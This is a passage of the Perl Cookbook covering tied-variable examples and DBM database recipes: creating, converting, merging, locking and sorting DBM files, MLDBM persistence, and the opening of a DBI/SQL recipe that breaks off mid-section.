@ISA = qw(Tie::RefHash);
sub STORE {
    my ($self, $key, $value) = @_;
    $self->SUPER::STORE($key, $value);
    $self->SUPER::STORE($value, $key);
}

sub DELETE {
    my ($self, $key) = @_;
    my $value = $self->SUPER::FETCH($key);
    $self->SUPER::DELETE($key);
    $self->SUPER::DELETE($value);
}

1;

Tie Example: Handle That Counts Access

Here's an example of tying a filehandle:

use Counter;
tie *CH, 'Counter';
while (<CH>) {
    print "Got $_\n";
}

When run, that program keeps printing Got 1, Got 2, and so on until the universe collapses, you hit an interrupt, or your computer reboots, whichever comes first. Its simple implementation is shown in Example 13.8.

Example 13.8: Counter

package Counter;
sub TIEHANDLE {
    my $class = shift;
    my $start = shift;
    return bless \$start => $class;
}
sub READLINE {
    my $self = shift;
    return ++$$self;
}
1;

Tie Example: Multiple Sink Filehandles

Finally, here's an example of a tied handle that implements a tee-like functionality by twinning standard out and standard error:

use Tie::Tee;
tie *TEE, 'Tie::Tee', *STDOUT, *STDERR;
print TEE "This line goes both places.\n";

Or, more elaborately:

#!/usr/bin/perl
# demo_tietee
use Tie::Tee;
use Symbol;

@handles = (*STDOUT);
for $i ( 1 .. 10 ) {
    push(@handles, $handle = gensym());
    open($handle, ">/tmp/teetest.$i");
}

tie *TEE, 'Tie::Tee', @handles;
print TEE "This lines goes many places.\n";

The Tie/Tee.pm file is shown in Example 13.9.

Example 13.9: Tie::Tee

package Tie::Tee;

sub TIEHANDLE {
    my $class   = shift;
    my $handles = [@_];

    bless $handles, $class;
    return $handles;
}

sub PRINT {
    my $href = shift;
    my $handle;
    my $success = 0;

    foreach $handle (@$href) {
        $success += print $handle @_;
    }

    return $success == @$href;
}

1;

See Also

The tie function in perlfunc (1); perltie (1); the section on "Using Tied Variables" in Chapter 5 of Programming Perl

Previous: 13.14. Overloading Operators | Perl Cookbook | Next: 14. Database Access
13.14. Overloading Operators | Book Index | 14. Database Access


[Chapter 14] Database Access

Perl CookbookSearch this book
Previous: 13.15. Creating Magic Variables with tie Chapter 14 Next: 14.1. Making and Using a DBM File

14. Database Access

Contents:
Introduction
Making and Using a DBM File
Emptying a DBM File
Converting Between DBM Files
Merging DBM Files
Locking DBM Files
Sorting Large DBM Files
Treating a Text File as a Database Array
Storing Complex Data in a DBM File
Persistent Data
Executing an SQL Command Using DBI and DBD
Program: ggh - Grep Netscape Global History

I only ask for information.

- Charles Dickens David Copperfield

14.0. Introduction

Everywhere you find data, you find databases. At the simplest level, every file can be considered a database. At the most complex level, expensive and complex relational database systems handle thousands of transactions per second. In between are countless improvised schemes for fast access to loosely structured data. Perl can work with all of them.

Early in the history of computers, people noticed that flat file databases don't scale to large data sets. Flat files were tamed using fixed-length records or auxiliary indices, but updating became expensive, and previously simple applications bogged down with I/O overhead.

After some head-scratching, clever programmers devised a better solution. As hashes in memory provide more flexible access to data than do arrays, hashes on disk offer more convenient kinds of access than array-like text files. These benefits in access time cost you space, but disk space is cheap these days (or so the reasoning goes).

The DBM library gives Perl programmers a simple, easy-to-use database. You use the same standard operations on hashes bound to DBM files as you do on hashes in memory. In fact, that's how you use DBM databases from Perl. You call dbmopen with the name of a hash and the filename holding the database. Then whenever you access the hash, Perl consults or changes the DBM database on disk.

Recipe 14.1 shows how to create a DBM database and gives tips on using it efficiently. Although you can do with DBM files the same things you do with regular hashes, their disk-based nature leads to performance concerns that don't exist with in-memory hashes. Recipes Recipe 14.2 and Recipe 14.4 explain these concerns and show how to work around them. DBM files also make possible operations that aren't available using regular hashes. Recipes Recipe 14.6 and Recipe 14.7 explain two of these things.

Various DBM implementations offer varying features. The old dbmopen function only lets you use the DBM library Perl was built with. If you wanted to use dbmopen to access from one type of database and write to another, you were out of luck. Version 5 of Perl remedied this by letting you tie a hash to an arbitrary object class, as detailed in Chapter 13, Classes, Objects, and Ties.

The table below shows several possible DBM libraries you can choose from:

Feature | NDBM | SDBM | GDBM | DB
Linkage comes with Perl | yes | yes | yes | yes
Source bundled with Perl | no | yes | no | no
Source redistributable | no | yes | gpl[1] | yes
FTPable | no | yes | yes | yes
Easy to build | N/A | yes | yes | ok[2]
Often comes with Unix | yes[3] | no | no[4] | no[4]
Builds ok on Unix | N/A | yes | yes | yes[5]
Builds ok on Windows | N/A | yes | yes | yes[6]
Code size | [7] | small | big | big[8]
Disk usage | [7] | small | big | ok
Speed | [7] | slow | ok | fast
Block size limits | 4k | 1k[9] | none | none
Byte-order independent | no | no | no | yes
User-defined sort order | no | no | no | yes
Partial key lookups | no | no | no | yes

[1] Using GPLed code in your program places restrictions upon you. See www.gnu.org for more details.

[2] See the DB_File library method. Requires symbolic links.

[3] On mixed-universe machines, this may be in the BSD compatibility library, which is often shunned.

[4] Except for free Unix ports like Linux, FreeBSD, OpenBSD, and NetBSD.

[5] Providing you have an ANSI C compiler.

[6] Prior to unification in 5.005, several divergent versions of Perl on Windows systems were widely available, including the standard port built from the normal Perl distribution and several proprietary ports. Like most CPAN modules, DB builds only on the standard port.

[7] Depends on how much your vendor has tweaked it.

[8] Can be reduced if you compile for one access method.

[9] By default, but can be redefined (at the expense of compatibility with older files).

NDBM comes with most BSD-derived machines. GDBM is a GNU DBM implementation. SDBM is part of the X11 distribution and also the standard Perl source distribution. DB refers to the Berkeley DB library. While the others are essentially reimplementations of the original DB library, the Berkeley DB code gives you three different types of database on disk and attempts to solve many of the disk, speed, and size limitations that hinder the other implementations.

Code size refers to the size of the compiled libraries. Disk usage refers to the size of the database files it creates. Block size limits refer to the database's maximum key or value size. Byte-order independence refers to whether the database system relies on hardware byte order or whether it instead creates portable files. A user-defined sort order lets you tell the library what order to return lists of keys in. Partial key lookups let you make approximate searches on the database.

Most Perl programmers prefer the Berkeley DB implementations. Many systems already have this library installed, and Perl can use it. For others, you are advised to fetch and install it from CPAN. It will make your life much easier.

DBM files provide key/value pairs. In relational database terms, you get a database with one table that has only two columns. Recipe 14.8 shows you how to use the MLDBM module from CPAN to store arbitrarily complex data structures in a DBM file.

As good as MLDBM is, it doesn't get around the limitation that you only retrieve rows based on one single column, the hash key. If you need complex queries, the difficulties can be overwhelming. In these cases, consider a separate database management system (DBMS). The DBI project provides modules to work with Oracle, Sybase, mSQL, MySQL, Ingres, and others.

See http://www.hermetica.com/technologia/perl/DBI/index.html and http://www.perl.com/CPAN/modules/by-category/07_Database_Interfaces/, which currently contains:

AsciiDB   DBI Db     MLDBM    OLE    Pg        Sybase
CDB_File  DBZ_ File  Fame     Msql   ObjStore  Postgres  XBase
DBD       DB_File    Ingperl  MySQL  Oraperl   Sprite

Previous: 13.15. Creating Magic Variables with tie | Perl Cookbook | Next: 14.1. Making and Using a DBM File
13.15. Creating Magic Variables with tie | Book Index | 14.1. Making and Using a DBM File


Recipe 14.1. Making and Using a DBM File

Perl CookbookSearch this book

14.1. Making and Using a DBM File

Problem

You want to create, populate, inspect, or delete values in a DBM database.

Solution

Use dbmopen or tie to open the database and make it accessible through a hash. Then use the hash as you normally would. When you're done, call dbmclose or untie.

dbmopen

use DB_File;                      # optional; overrides default
dbmopen %HASH, $FILENAME, 0666    # open database, accessed through %HASH
    or die "Can't open $FILENAME: $!\n";

$V = $HASH{$KEY};                 # retrieve from database
$HASH{$KEY} = $VALUE;             # put value into database
if (exists $HASH{$KEY}) {         # check whether in database
    # ...
}
delete $HASH{$KEY};               # remove from database
dbmclose %HASH;                   # close the database

tie

use DB_File;                      # load database module

tie %HASH, "DB_File", $FILENAME   # open database, to be accessed
    or die "Can't open $FILENAME:$!\n";    # through %HASH

$V = $HASH{$KEY};                 # retrieve from database
$HASH{$KEY} = $VALUE;             # put value into database
if (exists $HASH{$KEY}) {         # check whether in database
    # ...
}
delete $HASH{$KEY};               # delete from database
untie %hash;                      # close the database

Discussion

Accessing a database as a hash is powerful but easy, giving you a persistent hash that sticks around after the program using it has finished running. It's also much faster than loading in a new hash every time; even if the hash has a million entries, your program starts up virtually instantaneously.

The program in Example 14.1 treats the database as though it were a normal hash. You can even call keys or each on it. Likewise, exists and defined are implemented for tied DBM hashes. Unlike a normal hash, a DBM hash does not distinguish between those two functions.

Example 14.1: userstats

#!/usr/bin/perl -w
# userstats - generates statistics on who is logged in.
# call with an argument to display totals

use DB_File;

$db = '/tmp/userstats.db';       # where data is kept between runs

tie(%db, 'DB_File', $db)         or die "Can't open DB_File $db : $!\n";

if (@ARGV) {
    if ("@ARGV" eq "ALL") {
        @ARGV = sort keys %db;
    }
    foreach $user (@ARGV) {
            print "$user\t$db{$user}\n";
    }
} else {
    @who = `who`;                                   # run who(1)
    if ($?) {
        die "Couldn't run who: $?\n";               # exited abnormally
    }
    # extract username (first thing on the line) and update
    foreach $line (@who) {
        $line =~ /^(\S+)/;
        die "Bad line from who: $line\n" unless $1;
        $db{$1}++;
    }
}

untie %db;

We use who to get a list of users logged in. This typically produces output like:

gnat     ttyp1   May 29 15:39   (coprolith.frii.com)

If the userstats program is called without any arguments, it checks who's logged on and updates the database appropriately.

If the program is called with arguments, these are treated as usernames whose information will be presented. The special argument "ALL" sets @ARGV to a sorted list of DBM keys. For large hashes with many keys, this is prohibitively expensive - a better solution would be to use the BTREE bindings of DB_File described in Recipe 14.6.

See Also

The documentation for the standard modules GDBM_File, NDBM_File, SDBM_File, DB_File, also in Chapter 7 of Programming Perl; perltie (1); the section on "Using Tied Variables" in Chapter 5 of Programming Perl; the discussion on the effect of your umask on file creation in Recipe 7.1; Recipe 13.15

Previous: 14.0. Introduction | Perl Cookbook | Next: 14.2. Emptying a DBM File
14.0. Introduction | Book Index | 14.2. Emptying a DBM File


Recipe 14.2. Emptying a DBM File

Perl CookbookSearch this book

14.2. Emptying a DBM File

Problem

You want to clear out a DBM file.

Solution

Open the database and assign () to it. Use dbmopen:

dbmopen(%HASH, $FILENAME, 0666)         or die "Can't open FILENAME: $!\n";
%HASH = ();
dbmclose %HASH;

or tie:

use DB_File;

tie(%HASH, "DB_File", $FILENAME)        or die "Can't open FILENAME: $!\n";
%HASH = ();
untie %hash;

Alternatively, delete the file and reopen with create mode:

unlink $FILENAME
    or die "Couldn't unlink $FILENAME to empty the database: $!\n";
dbmopen(%HASH, $FILENAME, 0666)
    or die "Couldn't create $FILENAME database: $!\n";

Discussion

It may be quicker to delete the file and create a new one than to reset it, but doing so opens you up to a race condition that trips up a careless program or makes it vulnerable to an attacker. The attacker could make a link pointing to the file /etc/precious with the same name as your file between the time when you deleted the file and when you recreated it. When the DBM library opens the file, it clobbers /etc/precious.

If you delete a DB_File database and recreate it, you'll lose any customizable settings like page size, fill-factor, and so on. This is another good reason to assign the empty list to the tied hash.

See Also

The documentation for the standard DB_File module, also in Chapter 7 of Programming Perl; the unlink function in perlfunc (1); Recipe 14.1

Previous: 14.1. Making and Using a DBM File | Perl Cookbook | Next: 14.3. Converting Between DBM Files
14.1. Making and Using a DBM File | Book Index | 14.3. Converting Between DBM Files


Recipe 14.3. Converting Between DBM Files

Perl CookbookSearch this book

14.3. Converting Between DBM Files

Problem

You have a file in one DBM format, but another program expects input in a different DBM format.

Solution

Reads the keys and values from the initial DBM file and writes them to a new file in the different DBM format as in Example 14.2.

Example 14.2: db2gdbm

#!/usr/bin/perl -w
# db2gdbm: converts DB to GDBM

use strict;

use DB_File;
use GDBM_File;

unless (@ARGV == 2) {
    die "usage: db2gdbm infile outfile\n";
}

my ($infile, $outfile) = @ARGV;
my (%db_in, %db_out);

# open the files
tie(%db_in, 'DB_File', $infile)
    or die "Can't tie $infile: $!";
tie(%db_out, 'GDBM_File', $outfile, GDBM_WRCREAT, 0666)
    or die "Can't tie $outfile: $!";

# copy (don't use %db_out = %db_in because it's slow on big databases)
while (my($k, $v) = each %db_in) {
    $db_out{$k} = $v;
}

# these unties happen automatically at program exit
untie %db_in;
untie %db_out;

Call the program as:

% db2gdbm /tmp/users.db /tmp/users.gdbm

Discussion

When multiple types of DBM file are used in the same program, you have to use tie, not the dbmopen interface. That's because with dbmopen you can only use one database format, which is why its use is deprecated.

Copying hashes by simple assignment, as in %new = %old , works on DBM files. However, it loads everything into memory first as a list, which doesn't matter with small hashes, but can be prohibitively expensive in the case of DBM files. For database hashes, use each to iterate through them instead.

See Also

The documentation for the standard modules GDBM_File, NDBM_File, SDBM_File, DB_File, also in Chapter 7 of Programming Perl; Recipe 14.1

Previous: 14.2. Emptying a DBM File | Perl Cookbook | Next: 14.4. Merging DBM Files
14.2. Emptying a DBM File | Book Index | 14.4. Merging DBM Files


Recipe 14.4. Merging DBM Files

Perl CookbookSearch this book

14.4. Merging DBM Files

Problem

You want to combine two DBM files into a single DBM file with original key/value pairs.

Solution

Either merge the databases by treating their hashes as lists:

%OUTPUT = (%INPUT1, %INPUT2);

or, more wisely, by iterating over each key-value pair.

%OUTPUT = ();
foreach $href ( \%INPUT1, \%INPUT2 ) {
    while (my($key, $value) = each(%$href)) {
        if (exists $OUTPUT{$key}) {
            # decide which value to use and set $OUTPUT{$key} if necessary
        } else {
            $OUTPUT{$key} = $value;
        }
    }
}

Discussion

This straightforward application of Recipe 5.10 comes with the same caveats. Merging hashes by treating them as lists requires that the hashes be preloaded into memory, creating a potentially humongous temporary list. If you're dealing with large hashes, have little virtual memory, or both, then you want to iterate over the keys with each to save memory.

Another difference between these merging techniques is what to do if the same key exists in both input databases. The blind assignment merely overwrites the first value with the second value. The iterative merging technique lets you decide what to do. Possibilities include issuing a warning or error, choosing the first over the second, choosing the second over the first, or concatenating the new value to the old one. If you're using the MLDBM module, you can even store them both, using an array reference to the two values.

See Also

Recipe 5.10; Recipe 14.8

Previous: 14.3. Converting Between DBM Files | Perl Cookbook | Next: 14.5. Locking DBM Files
14.3. Converting Between DBM Files | Book Index | 14.5. Locking DBM Files


Recipe 14.5. Locking DBM Files

Perl CookbookSearch this book

14.5. Locking DBM Files

Problem

You need several concurrently running programs to have simultaneous access to a DBM file.

Solution

Either use the DBM implementation's locking mechanism if it has one, lock the file with flock, or use an auxiliary locking scheme as in Recipe 7.21.

Discussion

With SDBM or NDBM, you can't do much to lock the database itself. You must devise an auxiliary locking scheme using an extra lockfile.

GDBM uses the concept of readers and writers: either many readers or one solitary writer may have a GDBM file open at any given time. You specify whether you're a reader or a writer when you open it. This can be annoying.

Version 1 of Berkeley DB gives you access to the file descriptor of the open database, allowing you to flock it. The lock applies to the database as a whole, not to individual records. Version 2 implements its own full transaction system with locking.

Example 14.3 shows an example of locking a database using Berkeley DB. Run this repeatedly in the background to see locks granted in proper order.

Example 14.3: dblockdemo

#!/usr/bin/perl
# dblockdemo - demo locking dbm databases
use DB_File;
use strict;

sub LOCK_SH { 1 }                   # In case you don't have
sub LOCK_EX { 2 }                   # the standard Fcntl module.  You
sub LOCK_NB { 4 }                   # should, but who can tell
sub LOCK_UN { 8 }                   # how those chips fall?

my($oldval, $fd, $db, %db, $value, $key);

$key    = shift || 'default';
$value  = shift || 'magic';
$value .= " $$";

$db = tie(%db, 'DB_File', '/tmp/foo.db', O_CREAT|O_RDWR, 0666)
    or die "dbcreat /tmp/foo.db $!";
$fd = $db->fd;                      # need this for locking
print "$$: db fd is $fd\n";
open(DB_FH, "+<&=$fd")
    or die "dup $!";

unless (flock (DB_FH, LOCK_SH | LOCK_NB)) {
    print "$$: CONTENTION; can't read during write update!
                Waiting for read lock ($!) ....";
    unless (flock (DB_FH, LOCK_SH)) { die "flock: $!" }
}
print "$$: Read lock granted\n";

$oldval = $db{$key};
print "$$: Old value was $oldval\n";
flock(DB_FH, LOCK_UN);

unless (flock (DB_FH, LOCK_EX | LOCK_NB)) {
    print "$$: CONTENTION; must have exclusive lock!
                Waiting for write lock ($!) ....";
    unless (flock (DB_FH, LOCK_EX)) { die "flock: $!" }
}

print "$$: Write lock granted\n";
$db{$key} = $value;
$db->sync;  # to flush
sleep 10;

flock(DB_FH, LOCK_UN);
undef $db;
untie %db;
close(DB_FH);
print "$$: Updated db to $key=$value\n";

See Also

The documentation for the standard DB_File module, also in Chapter 7 of Programming Perl; Recipe 7.11; Recipe 16.12

Previous: 14.4. Merging DBM Files | Perl Cookbook | Next: 14.6. Sorting Large DBM Files
14.4. Merging DBM Files | Book Index | 14.6. Sorting Large DBM Files


Recipe 14.6. Sorting Large DBM Files

Perl CookbookSearch this book

14.6. Sorting Large DBM Files

Problem

You want to process a large dataset you'd like to commit to a DBM file in a particular order.

Solution

Use the DB_File's B-tree bindings and supply a comparison function of your own devising:

use DB_File;

# specify the Perl sub to do key comparison using the
# exported $DB_BTREE hash reference
$DB_BTREE->{'compare'} = sub {
    my ($key1, $key2) = @_ ;
    "\L$key1" cmp "\L$key2" ;
};

tie(%hash, "DB_File", $filename, O_RDWR|O_CREAT, 0666, $DB_BTREE)
    or die "can't tie $filename: $!";

Description

An annoyance of hashes, whether in memory or as DBM files, is that they do not maintain proper ordering. The CPAN module Tie::IxHash can make a regular hash in memory maintain its insertion order, but that doesn't help you for DBM databases or arbitrary sorting criteria.

The DB_File module supports a nice solution to this using a B-tree implementation. One advantage of a B-tree over a regular DBM hash is its ordering. When the user defines a comparison function, all calls to keys, values, and each are automatically ordered. For example, Example 14.4 is a program that maintains a hash whose keys will always be sorted case-insensitively.

Example 14.4: sortdemo

#!/usr/bin/perl
# sortdemo - show auto dbm sorting
use strict;
use DB_File;

$DB_BTREE->{'compare'} = sub {
    my ($key1, $key2) = @_ ;
    "\L$key1" cmp "\L$key2" ;
};

my %hash;
my $filename = '/tmp/sorthash.db';
tie(%hash, "DB_File", $filename, O_RDWR|O_CREAT, 0666, $DB_BTREE)
    or die "can't tie $filename: $!";

my $i = 0;
for my $word (qw(Can't you go camp down by Gibraltar)) {
    $hash{$word} = ++$i;
}

while (my($word, $number) = each %hash) {
    printf "%-12s %d\n", $word, $number;
}

By default, the entries in a B-tree DB_File database are stored alphabetically. Here, though, we provide a case-insensitive comparison function, so using each to fetch all the keys would show:

by           6
camp         4
Can't        1
down         5
Gibraltar    7
go           3
you          2

This sorting property on hashes is so convenient that it's worth using even without a permanent database. If you pass undef where the filename is expected on the tie, DB_File will create a file in /tmp and then immediately unlink it, giving an anonymous database:

tie(%hash, "DB_File", undef, O_RDWR|O_CREAT, 0666, $DB_BTREE)
        or die "can't tie: $!";

Remember these two things if you supply a comparison for your BTREE database. One, the new compare function must be specified when you create the database. Two, you cannot change the ordering once the database has been created; you must use the same compare function every time you access the database.

Using BTREE databases under DB_File also permits duplicate or partial keys. See its documentation for examples.

See Also

Recipe 5.6

Previous: 14.5. Locking DBM Files | Perl Cookbook | Next: 14.7. Treating a Text File as a Database Array
14.5. Locking DBM Files | Book Index | 14.7. Treating a Text File as a Database Array


Recipe 14.7. Treating a Text File as a Database Array

Perl CookbookSearch this book

14.7. Treating a Text File as a Database Array

Problem

You'd like to treat a text file as an array of lines with read-write privileges. You might want to do that so you could easily update the Nth line.

Solution

The DB_File module lets you tie a text file to an array.

use DB_File;

tie(@array, "DB_File", "/tmp/textfile", O_RDWR|O_CREAT, 0666, $DB_RECNO)
    or die "Cannot open file 'text': $!\en" ;

$array[4] = "a new line";
untie @array;

Description

Updating a textfile in place is surprisingly tricky, as noted in Chapter 7, File Access. The RECNO binding provides a nice way to address the file as though it were a simple array of lines - the way everyone always seems to think they can.

Working with files this way can be odd. For one thing, the zeroth element of the tied array is the first line of the file. More importantly, tied arrays aren't as fully featured as tied hashes are. This will be fixed in a future version of Perl - patches are already available, in fact.

As you can see from the example above, the tied array interface is limited. To make the interface more useful, methods supplied with DB_File simulate the standard array operations that are not currently implemented in Perl's tied array interface. Save the return value from tie function or retrieve it later from the tied hash using the tied function. Use this object to access the following methods:

$X->push(LIST)

Pushes elements of LIST to the end of the array.

$value = $X->pop

Removes and returns the last element of the array.

$X->shift

Removes and returns the first element of the array.

$X->unshift(LIST)

Pushes elements of LIST to the start of the array.

$X->length

Returns the number of elements in the array.

Example 14.5 is a more complete example using methods described above. It also accesses the direct API interface as described in the DB_File module documentation. (Much of this recipe is derived from the DB_File module documentation, courtesy of Paul Marquess, author of the Perl port of Berkeley DB. This material is used with his permission.)

Example 14.5: recno_demo

#!/usr/bin/perl -w
# recno_demo - show how to use the raw API on recno bindings
use strict;
use vars qw(@lines $dbobj $file $i);
use DB_File;

$file = "/tmp/textfile";
unlink $file;               # just in case

$dbobj = tie(@lines, "DB_File", $file, O_RDWR|O_CREAT, 0666, $DB_RECNO)
    or die "Cannot open file $file: $!\n";

# first create a text file to play with
$lines[0] = "zero";
$lines[1] = "one";
$lines[2] = "two";
$lines[3] = "three";
$lines[4] = "four";

# Print the records in order.
#
# The length method is needed here because evaluating a tied
# array in a scalar context does not return the number of
# elements in the array.

print "\nORIGINAL\n";
foreach $i (0 .. $dbobj->length - 1) {
    print "$i: $lines[$i]\n";
}

# use the push & pop methods
$a = $dbobj->pop;
$dbobj->push("last");
print "\nThe last record was [$a]\n";

# and the shift & unshift methods
$a = $dbobj->shift;
$dbobj->unshift("first");
print "The first record was [$a]\n";

# Use the API to add a new record after record 2.
$i = 2;
$dbobj->put($i, "Newbie", R_IAFTER);

# and a new record before record 1.
$i = 1;
$dbobj->put($i, "New One", R_IBEFORE);

# delete record 3
$dbobj->del(3);

# now print the records in reverse order
print "\nREVERSE\n";
for ($i = $dbobj->length - 1; $i >= 0; -- $i) {
    print "$i: $lines[$i]\n";
}

# same again, but use the API functions instead
print "\nREVERSE again\n";
my ($s, $k, $v)  = (0, 0, 0);
for ($s = $dbobj->seq($k, $v, R_LAST);
     $s == 0;
     $s = $dbobj->seq($k, $v, R_PREV))
{
    print "$k: $v\n"
}

undef $dbobj;
untie @lines;

This is what it outputs:

ORIGINAL
0: zero
1: one
2: two
3: three
4: four

The last record was [four]
The first record was [zero]

REVERSE
5: last
4: three
3: Newbie
2: one
1: New One
0: first

REVERSE again
5: last
4: three
3: Newbie
2: one
1: New One
0: first

Note that rather than iterating through the array, @lines, like this:

    foreach $item (@lines) { }

you must use either this:

    foreach $i (0 .. $dbobj->length - 1) { }

or this:

    for ($done_yet = $dbobj->get($k, $v, R_FIRST);
         not $done_yet;
         $done_yet = $dbobj->get($k, $v, R_NEXT) )
    {
        # process key or value
    }

Also, when we used the put method, we specified the record index using a variable, $i, rather than passing the literal value itself. This is because put returns the record number of the inserted line in that parameter, altering its contents.

See Also

The documentation for the standard DB_File module, also in Chapter 7 of Programming Perl, in its discussion of $DB_RECNO bindings.

Previous: 14.6. Sorting Large DBM Files | Perl Cookbook | Next: 14.8. Storing Complex Data in a DBM File
14.6. Sorting Large DBM Files | Book Index | 14.8. Storing Complex Data in a DBM File


Recipe 14.8. Storing Complex Data in a DBM File

Perl CookbookSearch this book

14.8. Storing Complex Data in a DBM File

Problem

You want values in a DBM file to be something other than scalars. For instance, you use a hash of hashes in your program and want to store them in a DBM file for other programs to access, or you want them to persist across process runs.

Solution

Use the CPAN module MLDBM to values more complex values than strings and numbers.

use MLDBM 'DB_File';
tie(%HASH, 'MLDBM', [... other DBM arguments]) or die $!;

Discussion

MLDBM uses Data::Dumper (see Recipe 11.14) to convert data structures to and from strings so that they can be stored in a DBM file. It doesn't store references, instead it stores the data that the references refer to:

# %hash is a tied hash
$hash{"Tom Christiansen"} = [ "book author", 'tchrist@perl.com' ];
$hash{"Tom Boutell"} = [ "shareware author", 'boutell@boutell.com' ];

# names to compare
$name1 = "Tom Christiansen";
$name2 = "Tom Boutell";

$tom1 = $hash{$name1};      # snag local pointer
$tom2 = $hash{$name2};      # and another

print "Two Toming: $tom1 $tom2\n";

Tom Toming: ARRAY(0x73048) ARRAY(0x73e4c)

Each time MLDBM retrieves a data structure from the DBM file, it generates a new copy of that data. To compare data that you retrieve from a MLDBM database, you need to compare the values within the structure:

if ($tom1->[0] eq $tom2->[0] &&
    $tom1->[1] eq $tom2->[1]) {
    print "You're having runtime fun with one Tom made two.\n";
} else {
    print "No two Toms are ever alike.\n";
}

This is more efficient than:

if ($hash{$name1}->[0] eq $hash{$name2}->[0] &&     # INEFFICIENT
    $hash{$name1}->[1] eq $hash{$name2}->[1]) {
    print "You're having runtime fun with one Tom made two.\n";
} else {
    print "No two Toms are ever alike.\n";
}

Each time we say $hash{...}, the DBM file is consulted. The inefficient code above accesses the database four times, whereas the code using the temporary variables $tom1 and $tom2 only accesses the database twice.

Current limitations of Perl's tie mechanism prevent you from storing or modifying parts of a MLDBM value directly:

$hash{"Tom Boutell"}->[0] = "Poet Programmer";      # WRONG

Always get, change, and set pieces of the stored structure through a temporary variable:

$entry = $hash{"Tom Boutell"};                      # RIGHT
$entry->[0] = "Poet Programmer";
$hash{"Tom Boutell"} = $entry;

If MLDBM uses a database with size limits on values, like SDBM, you'll quickly hit those limits. To get around this, use GDBM_File or DB_File, which don't limit the size of keys or values. DB_File is the better choice because it is byte-order neutral, which lets the database be shared between both big- and little-endian architectures.

See Also

The documentation for the Data::Dumper, MLDBM, and Storable modules from CPAN; Recipe 11.13; Recipe 14.9

Previous: 14.7. Treating a Text File as a Database Array | Perl Cookbook | Next: 14.9. Persistent Data
14.7. Treating a Text File as a Database Array | Book Index | 14.9. Persistent Data


Recipe 14.9. Persistent Data

Perl CookbookSearch this book

14.9. Persistent Data

Problem

You want your variables to retain their values between calls to your program.

Solution

Use a MLDBM to store the values between calls to your program:

use MLDBM 'DB_File';

my ($VARIABLE1,$VARIABLE2);
my $Persistent_Store = '/projects/foo/data';
BEGIN {
    my %data;
    tie(%data, 'MLDBM', $Persistent_Store)
        or die "Can't tie to $Persistent_Store : $!";
    $VARIABLE1 = $data{VARIABLE1};
    $VARIABLE2 = $data{VARIABLE2};
    # ...
    untie %data;
}
END {
    my %data;
    tie (%data, 'MLDBM', $Persistent_Store)
        or die "Can't tie to $Persistent_Store : $!";
    $data{VARIABLE1} = $VARIABLE1;
    $data{VARIABLE2} = $VARIABLE2;
    # ...
    untie %data;
}

Discussion

An important limitation of MLDBM is that you can't add to or alter the structure in the reference without assignment to a temporary variable. We do this in the sample program in Example 14.6, assigning to $array_ref before we push. You simply can't do this:

push(@{$db{$user}}, $duration);

For a start, MLDBM doesn't allow it. Also, $db{$user} might not be in the database (the array reference isn't automatically created as it would be if %db weren't tied to a DBM file). This is why we test exists $db{$user} when we give $array_ref its initial value. We're creating the empty array for the case where it doesn't already exist.

Example 14.6: mldbm-demo

#!/usr/bin/perl -w
# mldbm_demo - show how to use MLDBM with DB_File

use MLDBM "DB_File";

$db = "/tmp/mldbm-array";

tie %db, 'MLDBM', $db
  or die "Can't open $db : $!";

while(<DATA>) {
    chomp;
    ($user, $duration) = split(/\s+/, $_);
    $array_ref = exists $db{$user} ? $db{$user} : [];
    push(@$array_ref, $duration);
    $db{$user} = $array_ref;
}

foreach $user (sort keys %db) {
    print "$user: ";
    $total = 0;
    foreach $duration (@{ $db{$user} }) {
        print "$duration ";
        $total += $duration;
    }
        print "($total)\n";
    }

__END__
gnat        15.3
tchrist     2.5
jules       22.1
tchrist     15.9
gnat        8.7

Newer versions of MLDBM allow you to select not just the database module (we recommend DB_File), but also the serialization module (we recommend Storable). Previous versions limited you to Data::Dumper for serializing, which is slower than Storable. Here's how you use DB_File with Storable:

use MLDBM qw(DB_File Storable);

See Also

The documentation for the Data::Dumper, MLDBM, and Storable modules from CPAN; Recipe 11.13; Recipe 14.8

Previous: 14.8. Storing Complex Data in a DBM File | Perl Cookbook | Next: 14.10. Executing an SQL Command Using DBI and DBD
14.8. Storing Complex Data in a DBM File | Book Index | 14.10. Executing an SQL Command Using DBI and DBD


Recipe 14.10. Executing an SQL Command Using DBI and DBD

Perl CookbookSearch this book

14.10. Executing an SQL Command Using DBI and DBD

Problem

You want to send SQL queries to a database system such as Oracle, Sybase, mSQL, or MySQL, and process their results.

Solution

Use the DBI (DataBase Interface) and DBD (DataBase Driver) modules available from CPAN:

use DBI;

$dbh = DBI->connect('DBI:driver:database', 'username', 'auth',
            { RaiseError => 1, AutoCommit => 1});
$dbh->do($SQL);
$sth = $dbh->prepare($SQL);
$sth->execute();
while (@row = $sth->fetchrow_array) {
    # ...
}
$sth->finish();
$dbh->disconnect();

Discussion

DBI acts as an intermediary between your program and any number of DBMS-specific drivers. For most actions you need a database handle ($dbh in the example). This is attached to a specific database and driver using the DBI->connect call.

The first argument to DBI->connect is a single string with three colon-separated fields. It represents the data source - the DBMS you're connecting to. The first field is always DBI, and the second is the name of the driver you're going to use (Oracle, mysql, etc.). The rest of the string is passed by the DBI module to the requested driver module (DBD::mysql, for example) where it identifies the database.

The second and third arguments authenticate the user.

The fourth argument is an optional hash reference defining attributes of the connection. Setting PrintError to true makes DBI warn whenever a DBI method fails. Setting RaiseError is like PrintError except that die is used instead of warn. AutoCommit says that you don't want to deal with transactions (smaller DBMSs don't support them, and if you're using a larger DBMS then you can read about transactions in the DBMS documentation).

You can execute simple SQL statements (those that don't return rows of data) with a database handle's do method. This returns Boolean true or false. SQL statements that return rows of data (like SELECT) require that you first use the database handle's prepare method to create a statement handle. Then call the execute method on the statement handle to perform the query, and retrieve rows with a fetch method like fetchrow_array or fetchrow_hashref (which returns a reference to a hash mapping column name to value).

Statement handles and database handles often correspond to underlying connections to the database, so some care must be taken with them. A connection is automatically cleaned up when its handle goes out of scope. If a database handle goes out of scope while there are active statement handles for that database, though, you will get a warning like this:

disconnect(DBI::db=HASH(0x9df84)) invalidates 1 active cursor(s)
    at -e line 1.

The finish method ensures the statement handle is inactive (some old drivers need this). The disconnect method, er, disconnects from the database.

The DBI module comes with a FAQ (perldoc DBI::FAQ) and regular documentation (perldoc DBI). The driver for your DBMS also has documentation (perldoc DBD::mysql, for instance). The DBI API is larger than the simple subset we've shown here; it provides diverse ways of fetching results, and it hooks into DBMS-specific features like stored procedures. Consult the driver module's documentation to learn about these.

The program in Example 14.7 creates, populates, and searches a MySQL table of users. It uses the RaiseError attribute so it doesn't have to check the return status of every method call.

